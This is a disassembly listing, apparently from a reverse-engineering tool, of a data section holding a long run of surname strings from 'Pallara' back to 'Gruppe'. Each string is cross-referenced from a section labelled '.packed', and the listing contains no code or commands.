aPallara	db 'Pallara',0          ; DATA XREF: .packed:0042F900o
aPalepu		db 'Palepu',0           ; DATA XREF: .packed:0042F8FCo
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .packed:0042F8F8o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .packed:0042F8F4o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .packed:0042F8F0o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: .packed:0042F8ECo
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .packed:0042F8E8o
aOtten		db 'Otten',0            ; DATA XREF: .packed:0042F8E4o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .packed:0042F8E0o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .packed:0042F8DCo
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .packed:0042F8D8o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .packed:0042F8D4o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .packed:0042F8D0o
aOray		db 'Oray',0             ; DATA XREF: .packed:0042F8CCo
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: .packed:0042F8C8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .packed:0042F8C4o
aOman		db 'Oman',0             ; DATA XREF: .packed:0042F8C0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .packed:0042F8BCo
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .packed:0042F8B8o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .packed:0042F8B4o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .packed:0042F8B0o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: .packed:0042F8ACo
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .packed:0042F8A8o
aOh		db 'Oh',0               ; DATA XREF: .packed:0042F8A4o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .packed:0042F8A0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .packed:0042F89Co
aNuzum		db 'Nuzum',0            ; DATA XREF: .packed:0042F898o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .packed:0042F894o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .packed:0042F890o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .packed:0042F88Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .packed:0042F888o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .packed:0042F884o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .packed:0042F880o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .packed:0042F87Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .packed:0042F878o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .packed:0042F874o
aNeuman		db 'Neuman',0           ; DATA XREF: .packed:0042F870o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .packed:0042F86Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .packed:0042F868o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .packed:0042F864o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .packed:0042F860o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .packed:0042F85Co
aNardone	db 'Nardone',0          ; DATA XREF: .packed:0042F858o
aNardi		db 'Nardi',0            ; DATA XREF: .packed:0042F854o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .packed:0042F850o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .packed:0042F84Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: .packed:0042F848o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .packed:0042F844o
aMulroy		db 'Mulroy',0           ; DATA XREF: .packed:0042F840o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .packed:0042F83Co
aMugnai		db 'Mugnai',0           ; DATA XREF: .packed:0042F838o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .packed:0042F834o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .packed:0042F830o
aMotooka	db 'Motooka',0          ; DATA XREF: .packed:0042F82Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .packed:0042F828o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .packed:0042F824o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .packed:0042F820o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .packed:0042F81Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .packed:0042F818o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .packed:0042F814o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .packed:0042F810o
aMorani		db 'Morani',0           ; DATA XREF: .packed:0042F80Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .packed:0042F808o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .packed:0042F804o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .packed:0042F800o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .packed:0042F7FCo
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .packed:0042F7F8o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .packed:0042F7F4o
aModestino	db 'Modestino',0        ; DATA XREF: .packed:0042F7F0o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .packed:0042F7ECo
aMittal		db 'Mittal',0           ; DATA XREF: .packed:0042F7E8o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .packed:0042F7E4o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .packed:0042F7E0o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .packed:0042F7DCo
aMini		db 'Mini',0             ; DATA XREF: .packed:0042F7D8o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .packed:0042F7D4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .packed:0042F7D0o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .packed:0042F7CCo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .packed:0042F7C8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .packed:0042F7C4o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .packed:0042F7C0o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .packed:0042F7BCo
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .packed:0042F7B8o
aMerz		db 'Merz',0             ; DATA XREF: .packed:0042F7B4o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .packed:0042F7B0o
aMerminod	db 'Merminod',0         ; DATA XREF: .packed:0042F7ACo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .packed:0042F7A8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .packed:0042F7A4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .packed:0042F7A0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .packed:0042F79Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: .packed:0042F798o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .packed:0042F794o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .packed:0042F790o
aMclaren	db 'Mclaren',0          ; DATA XREF: .packed:0042F78Co
aMclane		db 'Mclane',0           ; DATA XREF: .packed:0042F788o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .packed:0042F784o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .packed:0042F780o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .packed:0042F77Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .packed:0042F778o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .packed:0042F774o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .packed:0042F770o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .packed:0042F76Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .packed:0042F768o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .packed:0042F764o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .packed:0042F760o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .packed:0042F75Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .packed:0042F758o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .packed:0042F754o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: .packed:0042F750o
aMay		db 'May',0              ; DATA XREF: .packed:0042F74Co
aMauzy		db 'Mauzy',0            ; DATA XREF: .packed:0042F748o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .packed:0042F744o
aMatsukata	db 'Matsukata',0        ; DATA XREF: .packed:0042F740o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .packed:0042F73Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .packed:0042F738o
aMass		db 'Mass',0             ; DATA XREF: .packed:0042F734o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .packed:0042F730o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .packed:0042F72Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .packed:0042F728o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .packed:0042F724o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .packed:0042F720o
aMargetts	db 'Margetts',0         ; DATA XREF: .packed:0042F71Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .packed:0042F718o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .packed:0042F714o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .packed:0042F710o
		align 4
aMarch		db 'March',0            ; DATA XREF: .packed:0042F70Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .packed:0042F708o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .packed:0042F704o
aMandel		db 'Mandel',0           ; DATA XREF: .packed:0042F700o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .packed:0042F6FCo
aMalova		db 'Malova',0           ; DATA XREF: .packed:0042F6F8o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .packed:0042F6F4o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .packed:0042F6F0o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .packed:0042F6ECo
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .packed:0042F6E8o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .packed:0042F6E4o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .packed:0042F6E0o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: .packed:0042F6DCo
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .packed:0042F6D8o
aMacy		db 'Macy',0             ; DATA XREF: .packed:0042F6D4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .packed:0042F6D0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .packed:0042F6CCo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .packed:0042F6C8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .packed:0042F6C4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .packed:0042F6C0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .packed:0042F6BCo
		align 4
aMa		db 'Ma',0               ; DATA XREF: .packed:0042F6B8o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .packed:0042F6B4o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .packed:0042F6B0o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .packed:0042F6ACo
aLuoma		db 'Luoma',0            ; DATA XREF: .packed:0042F6A8o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .packed:0042F6A4o
aLuecke		db 'Luecke',0           ; DATA XREF: .packed:0042F6A0o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: .packed:0042F69Co
aLuciano	db 'Luciano',0          ; DATA XREF: .packed:0042F698o
aLucas		db 'Lucas',0            ; DATA XREF: .packed:0042F694o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .packed:0042F690o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .packed:0042F68Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .packed:0042F688o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .packed:0042F684o
aLoss		db 'Loss',0             ; DATA XREF: .packed:0042F680o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .packed:0042F67Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: .packed:0042F678o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .packed:0042F674o
aLivolsi	db 'Livolsi',0          ; DATA XREF: .packed:0042F670o
aLivi		db 'Livi',0             ; DATA XREF: .packed:0042F66Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .packed:0042F668o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .packed:0042F664o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .packed:0042F660o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .packed:0042F65Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .packed:0042F658o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .packed:0042F654o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .packed:0042F650o
aLine		db 'Line',0             ; DATA XREF: .packed:0042F64Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .packed:0042F648o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: .packed:0042F644o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: .packed:0042F640o
aLim		db 'Lim',0              ; DATA XREF: .packed:0042F63Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .packed:0042F638o
		align 4
aLight		db 'Light',0            ; DATA XREF: .packed:0042F634o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .packed:0042F630o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .packed:0042F62Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .packed:0042F628o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .packed:0042F624o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .packed:0042F620o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .packed:0042F61Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .packed:0042F618o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .packed:0042F614o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .packed:0042F610o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .packed:0042F60Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .packed:0042F608o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: .packed:0042F604o
aLashley	db 'Lashley',0          ; DATA XREF: .packed:0042F600o
aLaserna	db 'Laserna',0          ; DATA XREF: .packed:0042F5FCo
aLanzit		db 'Lanzit',0           ; DATA XREF: .packed:0042F5F8o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .packed:0042F5F4o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .packed:0042F5F0o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .packed:0042F5ECo
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .packed:0042F5E8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .packed:0042F5E4o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: .packed:0042F5E0o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .packed:0042F5DCo
aLa		db 'La',0               ; DATA XREF: .packed:0042F5D8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .packed:0042F5D4o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .packed:0042F5D0o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .packed:0042F5CCo
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .packed:0042F5C8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .packed:0042F5C4o
aKroemer	db 'Kroemer',0          ; DATA XREF: .packed:0042F5C0o
aKraus		db 'Kraus',0            ; DATA XREF: .packed:0042F5BCo
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .packed:0042F5B8o
aKrailo		db 'Krailo',0           ; DATA XREF: .packed:0042F5B4o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .packed:0042F5B0o
aKovaks		db 'Kovaks',0           ; DATA XREF: .packed:0042F5ACo
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .packed:0042F5A8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .packed:0042F5A4o
		align 4
aKool		db 'Kool',0             ; DATA XREF: .packed:0042F5A0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .packed:0042F59Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .packed:0042F598o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .packed:0042F594o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .packed:0042F590o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .packed:0042F58Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .packed:0042F588o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .packed:0042F584o
aKnuff		db 'Knuff',0            ; DATA XREF: .packed:0042F580o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .packed:0042F57Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .packed:0042F578o
aKling		db 'Kling',0            ; DATA XREF: .packed:0042F574o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: .packed:0042F570o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .packed:0042F56Co
aKleiman	db 'Kleiman',0          ; DATA XREF: .packed:0042F568o
aKleckner	db 'Kleckner',0         ; DATA XREF: .packed:0042F564o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .packed:0042F560o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .packed:0042F55Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .packed:0042F558o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: .packed:0042F554o
aKindall	db 'Kindall',0          ; DATA XREF: .packed:0042F550o
aKimura		db 'Kimura',0           ; DATA XREF: .packed:0042F54Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .packed:0042F548o
aKimmel		db 'Kimmel',0           ; DATA XREF: .packed:0042F544o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .packed:0042F540o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .packed:0042F53Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: .packed:0042F538o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: .packed:0042F534o
aKemsley	db 'Kemsley',0          ; DATA XREF: .packed:0042F530o
aKempton	db 'Kempton',0          ; DATA XREF: .packed:0042F52Co
aKelsey		db 'Kelsey',0           ; DATA XREF: .packed:0042F528o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .packed:0042F524o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .packed:0042F520o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .packed:0042F51Co
aKeenan		db 'Keenan',0           ; DATA XREF: .packed:0042F518o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: .packed:0042F514o
aKawachi	db 'Kawachi',0          ; DATA XREF: .packed:0042F510o
aKasten		db 'Kasten',0           ; DATA XREF: .packed:0042F50Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .packed:0042F508o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .packed:0042F504o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .packed:0042F500o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .packed:0042F4FCo
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .packed:0042F4F8o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .packed:0042F4F4o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .packed:0042F4F0o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .packed:0042F4ECo
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .packed:0042F4E8o
aKafadar	db 'Kafadar',0          ; DATA XREF: .packed:0042F4E4o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .packed:0042F4E0o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .packed:0042F4DCo
aJulious	db 'Julious',0          ; DATA XREF: .packed:0042F4D8o
aJuliano	db 'Juliano',0          ; DATA XREF: .packed:0042F4D4o
aJucks		db 'Jucks',0            ; DATA XREF: .packed:0042F4D0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .packed:0042F4CCo
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .packed:0042F4C8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .packed:0042F4C4o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: .packed:0042F4C0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .packed:0042F4BCo
aJewett		db 'Jewett',0           ; DATA XREF: .packed:0042F4B8o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: .packed:0042F4B4o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .packed:0042F4B0o
aJellis		db 'Jellis',0           ; DATA XREF: .packed:0042F4ACo
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .packed:0042F4A8o
aJay		db 'Jay',0              ; DATA XREF: .packed:0042F4A4o
aJarrell	db 'Jarrell',0          ; DATA XREF: .packed:0042F4A0o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .packed:0042F49Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .packed:0042F498o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .packed:0042F494o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .packed:0042F490o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .packed:0042F48Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .packed:0042F488o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .packed:0042F484o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: .packed:0042F480o
aJacenko	db 'Jacenko',0          ; DATA XREF: .packed:0042F47Co
aIyer		db 'Iyer',0             ; DATA XREF: .packed:0042F478o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .packed:0042F474o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .packed:0042F470o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .packed:0042F46Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .packed:0042F468o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: .packed:0042F464o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .packed:0042F460o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .packed:0042F45Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .packed:0042F458o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .packed:0042F454o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .packed:0042F450o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .packed:0042F44Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .packed:0042F448o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .packed:0042F444o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .packed:0042F440o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .packed:0042F43Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .packed:0042F438o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: .packed:0042F434o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .packed:0042F430o
aHoward		db 'Howard',0           ; DATA XREF: .packed:0042F42Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .packed:0042F428o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .packed:0042F424o
aHoshida	db 'Hoshida',0          ; DATA XREF: .packed:0042F420o
aHorsley	db 'Horsley',0          ; DATA XREF: .packed:0042F41Co
aHopkins	db 'Hopkins',0          ; DATA XREF: .packed:0042F418o
aHooker		db 'Hooker',0           ; DATA XREF: .packed:0042F414o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .packed:0042F410o
aHolway		db 'Holway',0           ; DATA XREF: .packed:0042F40Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .packed:0042F408o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .packed:0042F404o
aHolmes		db 'Holmes',0           ; DATA XREF: .packed:0042F400o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .packed:0042F3FCo
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .packed:0042F3F8o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .packed:0042F3F4o
aHoffer		db 'Hoffer',0           ; DATA XREF: .packed:0042F3F0o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .packed:0042F3ECo
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .packed:0042F3E8o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .packed:0042F3E4o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .packed:0042F3E0o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .packed:0042F3DCo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .packed:0042F3D8o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .packed:0042F3D4o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .packed:0042F3D0o
aHester		db 'Hester',0           ; DATA XREF: .packed:0042F3CCo
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .packed:0042F3C8o
aHernandez	db 'Hernandez',0        ; DATA XREF: .packed:0042F3C4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .packed:0042F3C0o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .packed:0042F3BCo
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .packed:0042F3B8o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .packed:0042F3B4o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .packed:0042F3B0o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .packed:0042F3ACo
aHeiland	db 'Heiland',0          ; DATA XREF: .packed:0042F3A8o
aHeft		db 'Heft',0             ; DATA XREF: .packed:0042F3A4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .packed:0042F3A0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .packed:0042F39Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .packed:0042F398o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .packed:0042F394o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .packed:0042F390o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: .packed:0042F38Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .packed:0042F388o
aHartnett	db 'Hartnett',0         ; DATA XREF: .packed:0042F384o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: .packed:0042F380o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .packed:0042F37Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: .packed:0042F378o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .packed:0042F374o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .packed:0042F370o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .packed:0042F36Co
aHanssen	db 'Hanssen',0          ; DATA XREF: .packed:0042F368o
aHand		db 'Hand',0             ; DATA XREF: .packed:0042F364o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .packed:0042F360o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .packed:0042F35Co
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .packed:0042F358o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .packed:0042F354o
aHallowell	db 'Hallowell',0        ; DATA XREF: .packed:0042F350o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .packed:0042F34Co
aHaley		db 'Haley',0            ; DATA XREF: .packed:0042F348o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .packed:0042F344o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .packed:0042F340o
aHaar		db 'Haar',0             ; DATA XREF: .packed:0042F33Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: .packed:0042F338o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .packed:0042F334o
aGunn		db 'Gunn',0             ; DATA XREF: .packed:0042F330o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .packed:0042F32Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .packed:0042F328o
		align 4
